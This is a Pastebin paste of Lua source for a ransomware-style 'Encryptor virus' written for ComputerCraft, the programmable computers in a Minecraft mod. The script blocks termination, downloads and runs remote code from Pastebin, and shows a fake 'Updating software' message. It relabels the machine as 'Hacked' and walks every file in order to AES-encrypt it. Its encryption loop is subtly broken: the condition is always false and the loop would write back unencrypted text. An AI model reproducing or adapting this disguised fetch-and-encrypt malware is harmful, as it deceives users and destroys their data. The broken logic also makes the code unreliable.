Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- locking
- OldPull = os.pullEvent
- os.pullEvent = os.PullEventRaw
- -- Encryptor virus example
- -- setting up to ensure correct encryption
- if fs.exists("./aeslua") then fs.delete("./aeslua") end
- if fs.exists("./logsalt") then fs.delete("./logsalt") end
- shell.run("pastebin get 9YW1XWXN logsalt")
- shell.run("pastebin run LYAxmSby get 86925e07cbabd70773e53d781bd8b2fe/aeslua.min.lua aeslua") -- squids code
- print("Updating software, please wait")
- os.loadAPI("aeslua")
- os.loadAPI("logsalt")
- local dec = logsalt.rand(10)
- -- Credit to Xelostar for the first 2 functions
- local function getSubPaths(path)
- local list = fs.list(path)
- local paths = {}
- for _, name in pairs(list) do
- local newPath = fs.combine(path, name)
- if (fs.isDir(newPath)) then
- local subPaths = getSubPaths(newPath)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = newPath
- end
- end
- return paths
- end
- local function getPaths(path, readROM)
- if (path == "" or path == "/") then
- if (readROM) then
- return getSubPaths(path)
- else
- local list = fs.list("/")
- local paths = {}
- for _, path in pairs(list) do
- if (path ~= "rom") then
- if (fs.isDir(path)) then
- local subPaths = getSubPaths(path)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = path
- end
- end
- end
- return paths
- end
- else
- return getSubPaths(path)
- end
- end
- local files = getPaths("/", false)
- os.setComputerLabel("Hacked - 234")
- fs.delete("virus")
- fs.makeDir("virus")
- fs.move("vir-8", "virus/vir")
- for _,v in pairs(files) do
- if not v == "virus/vir-8" then
- local hBf = fs.open(v, "r")
- local stuff = hBf.readAll()
- local encrypted = aeslua.encrypt(stuff, dec)
- hBf.close()
- hAf = fs.open(v, "w")
- hAf.write(stuff)
- hAf.close()
- end
- end
- term.clear()
- term.setCursorPos(1,1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement